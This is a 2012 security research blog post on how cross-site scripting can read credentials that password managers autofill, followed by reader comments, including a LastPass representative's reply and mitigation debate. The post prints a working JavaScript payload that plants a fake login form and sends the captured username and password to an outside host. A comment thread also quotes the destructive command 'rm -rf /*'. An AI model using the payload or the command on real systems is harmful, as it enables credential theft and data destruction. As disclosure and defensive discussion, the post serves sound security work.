Abusing Password Managers with XSS

By Ben Toews

One common and effective mitigation against Cross-Site Scripting (XSS) is to set the HTTPOnly flag on session cookies. This will generally prevent an attacker from stealing users’ session cookies with XSS. There are ways of circumventing this (e.g. the HTTP TRACE method), but generally speaking, it is fairly effective. That being said, an attacker can still cause significant damage without being able to steal the session cookie.

A variety of client-side attacks are possible, but an attacker is also often able to circumvent Cross-Site Request Forgery (CSRF) protections via XSS and thereby submit various forms within the application. The worst case scenario with this type of attack would be that there is no confirmation for email address or password changes and the attacker can change users’ passwords. From an attacker’s perspective this is valuable, but not as valuable as being able to steal a user’s session. By reseting the password, the attacker is giving away his presence and the extent to which he is able to masquarade as another user is limited. While stealing the session cookie may be the most commonly cited method for hijacking user accounts, other means not involving changing user passwords exist.

All modern browsers come with some functionality to remember user passwords. Additionally, users will often install third-party applications to manage their passwords for them. All of these solutions save time for the user and generally help to prevent forgotten passwords. Third party password managers such as LastPass are also capable of generating strong, application specific passwords for users and then sending them off to the cloud for storage. Functionality such as this greatly improves the overall security of the username/password authentication model. By encouraging and facilitating the use of strong application specific passwords, users need not be as concerned with unreliable web applications that inadequately protect their data. For these and other reasons, password managers such as LastPass are generally considered within the security industry to be a good idea. I am a long time user of LastPass and have (almost) nothing but praise for their service.

An issue with both in-browser as well as third-party password managers that gets hardly any attention is how these can be abused by XSS. Because many of these password managers automatically fill login forms, an attacker can use JavaScript to read the contents of the form once it has been filled. The lack of attention this topic receives made me curious to see how exploitable it actually would be. For the purpose of testing, I built a simple PHP application with a functional login page aswell as a second page that is vulnerable to XSS (find them here). I then proceded to experiment with different JavaScript, attempting to steal user credentials with XSS from the following password managers:

  • LastPass (Current version as of April 2012)
  • Chrome (version 17)
  • Firefox (version 11)
  • Internet Explorer (version 9)

I first visited my login page and entered my password. If the password manager asked me if I wanted it to be remembered, I said yes. I then went to the XSS vulnerable page in my application and experimented with different JavaScript, attempting to access the credentials stored by the browser or password manager. I ended up writing some JavaScript that was effective against the password managers listed above with the exception of IE:

<script type="text/javascript">
    ex_username = '';
    ex_password = '';
    inter = '';
    function attack(){
        ex_username = document.getElementById('username').value;
        ex_password = document.getElementById('password').value;
        if(ex_username != '' | ex_password != ''){
            document.getElementById('xss').style.display = 'none'
            request=new XMLHttpRequest();
            url = "http://btoe.ws/pwxss?username="+ex_username+"&password="+ex_password;
            request.open("GET",url,true);
            request.send();
            document.getElementById('xss').style.visibility='hidden';
            window.clearInterval(inter);
        }
    }
    document.write("\
    <div id='xss'>\
    <form method='post' action='index.php'>\
    username:<input type='text' name='username' id='username' value='' autocomplete='on'>\
    password:<input type='password' name='password' id='password' value='' autocomplete='on'>\
    <input type='submit' name='login' value='Log In'>\
    </form>\
    </div>\
    ");
    inter = window.setInterval("attack()",100);
</script>

All that this code does it create a fake login form on the XSS vulnerable page and then wait for it to be filled in by the browser or password manager. When the fields are filled, the JavaScript takes the values and sends them off to another server via a simple Ajax request. At first I had attempted to harness the onchange event of the form fields, but it turns out that this is unreliable across browsers (also, LastPass seems to mangle the form and input field DOM elements for whatever reason). Using window.setInterval, while less elegant, is more effective.

If you want to try out the above code, go to http://boomer.neohapsis.com/pwxss and login (username:user1 password:secret). Then go to the reflections page and enter the slightly modified code listed there into the text box. If you told your password manager to remember the password for the site, you should see an alert  box with the credentials you previously entered. Please let me know if you find any vulns aside from XSS in this app.

To be honest, I was rather surprised that my simple trick worked in Chrome and Firefox. The LastPass plugin in the Chrome browser operates on the DOM level like any other Chrome plugin, meaning that it can’t bypass event listeners that are watching for form submissions. The browsers, on the other hand could put garbage into the form elements in the DOM and wait until after the onsubmit event has fired to put the real credentials into the form. This might break some web applications that take action based on the onchange event of the form inputs, but if that is a concern, I am sure that the browsers could somehow fill the form fields without triggering this event.

The reason why this code doesn’t work in IE (aside from the non-IE-friendly XHR request) is that the IE password manager doesn’t automatically fill in user credentials. IE also seems to be the only one of the bunch that ties a set of credentials to a specific page rather than to an entire domain. While these both may be inconveniences from a usability perspective, they (inadvertantly or otherwise) improve the security of the password manager.

While this is an attack vector that doesn’t get much attention, I think that it should. XSS is a common problem, and developers get an unrealistic sense of security from the HTTPOnly cookie flag. This flag is largely effective in preventing session hijacking, but user credentials may still be at risk. While I didn’t get a chance to check them out when researching this, I would not be surprised if Opera and Safari had the same types of behavior.

I would be interested to hear a discussion of possible mitigations for this vulnerability. If you are a browser or browser-plugin developer or just an ordinary hacker, leave a comment and let me know what you think.

Edit: Prompted by some of the comments, I wrote a little script to demo how you could replace the whole document.body with that of the login page and use push state to trick a user into thinking that they were on the login page. https://gist.github.com/2552844

19 thoughts on “Abusing Password Managers with XSS

  1. Opera’s password saving function (Wand) going back years has always required the user to take action, never filling out the password automatically, precisely because it’s the more secure approach.

  2. Nice work. I implemented a similar method in the Get Stored Credentials module for BeEF. Source here:

    https://github.com/beefproject/beef/blob/d1e23c208435b0228a66ee8062a663bcf000f465/modules/browser/get_stored_credentials/command.js

    Currently it only works for Firefox however I didn’t test password managers external to the browser (ie, LastPass)

    I took a slightly different approach to make the module easier to use and generic for different websites. Rather than the BeEF user supplying the names of the username and password input fields, the BeEF user provides a URL for a page which already contains a login form (on the same domain).

    Once the module payload is sent to the browser it loads the URL containing the login form in an iframe, then iterates through all forms and pulls back all the form contents for any forms containing an input field of type “password”

    The benefit of this approach is we can automatically retrieve other input fields from the same form. It will also work even if the input field names are dynamic.

    There are a couple of obvious downsides to my approach. Unfortunately it is mitigated by “X-Frame-Options: DENY” as it uses an iframe. Also we must know the URL for such a page in advance, although your approach has a similar drawback in that we must know the username and password fields in advance.

    As for mitigations, I expect the best approach is to “fake” the saved passwords. ie, insert a random, fake password into the password field in the DOM, then replace it when the form is submitted (replace it in the HTTP request – NOT in the DOM).

    There’s a flaw in this mitigating technique. The attacker can just change the form “action” property to point the form to their own domain.

    Maybe browsers need to protect forms containing “password” fields by disallowing JavaScript access to them?

    • I have used beef a few times. Its a great tool. I hadn’t realized it had a similar feature. It looks good. Do you know why its only working in FF currently?

      I agree on the mitigation. Swapping in the real creds after the form submission would work. Only problem is that chrome (maybe FF) plugins can’t hook in at this level.

      As for pointing the form at an attacker controlled site: I know this was brought up and resolved back in 2007 by the good folks at mozilla http://www.mozilla.org/security/announce/2007/mfsa2007-02.html . I’m not sure about other browsers.

    • @parent posters username: nice try, but “rm -rf /” won’t actually do anything. You’d need the –no-preserve-root parameter.

      • Updated now. I’m pretty sure rm -rf /* works without –no-preserve-root ;)

  3. “Common and effective mitigation against Cross-Site Scripting (XSS) is to set the HTTPOnly flag on session cookies.”

    Well, I think that it must be stated that input filtering would be cited as best mitigation against XSS. HTTPOnly mitigates only the attack targeted to steal session auth, that is just a simple case.

    IMHO of course.

  4. Of course this still works ;)

  5. Hi Ben,

    Good work and thanks for your post and detailed explanation.
    Also appreciate that you are an avid LastPass user and your words of praise.

    First off, I fail to see why you are (or if you are) blaming the password manager for this issue. If a 3rd party site is vulnerable to an XSS attack, then interception of the user’s credentials will occur when the user logs in whether or not they use a password manager to do so.

    So, strictly speaking, this isn’t the password manager’s ‘fault’ and is not being caused by the password manager.

    I do see your points that:

    (1) the password manager possibly makes capturing the credentials on a vulnerable site perhaps easier due to autofill, and due to autofill on the whole domain rather than just a page

    (2) the password manager should try to use mechanisms to perhaps make it more difficult for a vulnerable website to be taken advantage of.

    With respect to (1):

    There is always a balance between security and convenience and we have tried to strike a good balance in that by default LastPass will autofill credentials based on 2nd level domain.
    However:

    - LastPass has the ability for the user to control whether a user’s login should be autofilled or not. (for all their sites, or on a site by site basis)
    - LastPass has the ability for the user to control whether they should be re-prompted for their master password prior to autofill.
    - LastPass has the ability to control whether autofill should occur on a 2nd level domain-wide basis, or just for an exact URL match.

    With respect to (2):

    We really have tried to do as much as possible to protect end users, such as:
    - LastPass allows users to control whether LastPass should warn them before automatically filling insecure forms.
    - LastPass allows users to be notified by email if any of their usernames or passwords change.

    We also recognized that LastPass.com itself is a possible source of XSS so have implemented CSP in browsers that offer it (https://developer.mozilla.org/en/Introducing_Content_Security_Policy) and where it’s not available we have implemented CSP internally within our browser extensions.

    The one last thing that I should point out is that all of the above LastPass features I have mentioned above aren’t present within the default browser password managers, which is one of the many reasons why we feel LastPass is significantly more secure than a browser’s default password manager.

    Thanks,
    Sameer Kochhar
    LastPass

    • Sameer,
      Thanks for the detailed response. This is exactly the type of dialoge I intended to prompt with this post.

      As for the idea that XSS could be used to capture user login regardless, I don’t think this is entirely true. A large percentage of applications have distinct login pages that don’t display any user provided content (think Facebook or Gmail). While this is a common design idium, it has the added benefit of protecting against the attack you describe.

      I think it would be a much better default for the password manager to associate a set of credentials with a page rather than with a domain. I do understand your security/usibility concern though as this would not work well on applications with login forms on every page. Maybe a good compromise would be to associate the creds with the domain, but to associate the auto-fill settings with the page.

      I realize that you LastPass is highly configurable and thats one of the great things about the application. Unfortunately, the people who stick with the default settings are probably the same people who would click on a link to http://goodguys.com?msg=%3cscript%3epwn()%3c/script%3e . Especially for a security product, I think its important to tip the scales towards security in the security/usibility balancing act.

      I know you guys do a lot of work to protect people’s credentials on the server side and I really appreciate your companies overall security posture. But, I still feel that the point where your application actually interacts with the DOM is currently the weakest link.

      All that in mind, I still agree that LastPass is way better (for many reasons) than the browsers’ built-in password managers. BTW, sorry to pick on your guys in this article. LastPass is what I use, so its what I tested.

      - Ben

      • Hi Ben,

        Bottom line is that if the website has an XSS vulnerability, then the attacker can do pretty much anything. They can steal cookies, capture keystrokes, even redirect inject a rogue iframe on top of the actual page that asks the user to log in. So, no amount of increased security by the password manager can fully protect the user. All the password manager can do is ensure that the user’s other 100 sites aren’t also compromised by teaching the user good habits regarding never to re-use passwords.

        Regarding making the default to associate the credentials to a single page: this would break autofill for a large majority of sites, including some of the most popular sites in the world, and we would be immediately inundated with requests to reverse this behavior. Examples include:
        - People sign up for new services using a register page, and then sign in with a sign in page
        - A website changes the page where their sign in form is located (this has happened for even the most popular of sites like Twitter)
        - A website allows you to sign in on more than one page
        - etc.

        It even extends past the page to the domain level. eg: If you have a login on google.com, and want to log in at gmail.com or youtube.com. (we have an ‘equivalent domains’ feature to address these automatically for users).

        Regarding disabling autofill by default: it’s a similar story. People use a password manager not just for increased security, but also for convenience. Not autofilling by default, doesn’t increase security in any way if the end website has a vulnerability. Further, it would force many people to decide that using a password manager was just too cumbersome and was more work than ‘doing it themselves’ — leaving the user even more susceptible at the end of the day.

        Thanks.

      • Sameer,
        You definitely raise some good points regarding the necessity of having a usable tool. I also agree that encouraging users to have different credentials for different applications is of huge importance. I think your claim that “Not autofilling by default, doesn’t increase security in any way if the end website has a vulnerability” is an overstatement though.

        Stopping XSS in the application is obviously the responsibility primarily of the developer. That being said, XSS still happens. As a result, people playing other roles in the use of the web application (primarily browser vendors and servers) have implemented piecemeal protections that partially mitigate XSS by narrowing the attack surface or eliminating attack vectors. Iframe injection is mitigated by the X-FRAME-OPTIONS header, and by frame busting code. Cookie theft is partially mitigated by the HTTPOnly flag. There are also emerging techniques which promise to be even more effective such as Content Security Policy.

        I think that disabling autofill by default would partially mitigate the theft of credentials. It would not be a complete mitigation though because the user could still be tricked into entering his credentials. Obviously LastPass needs to weigh the benefit of this with the loss of usability. Its not my place to make that call and it sounds like you guys have put some thought into it. I might have done it differently, but I respect your judgment. Its not going to stop me from using LastPass.

  6. Surely if you can execute javascript you can make arbitrary changes to the page’s appearance, and thus make a perfect replica of the login page down to the url with history.pushState.

  7. The title implies that this problem is specific to password managers ,but is this really the case?

    if XSS is possible on a website than an attacker can read the password field and that is it, i guess?

  8. Very great post. I simply stumbled upon your weblog and wanted to say that I have
    really enjoyed browsing your blog posts. In any case I’ll be subscribing for your rss feed
    and I am hoping you write once more soon!

  9. Do you mind if I quote a few of your articles as long as I provide credit and sources back to your website?

    My blog is in the very same area of interest as yours and my visitors would truly benefit from a lot of the information you present here.
    Please let me know if this okay with you. Thanks!|

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s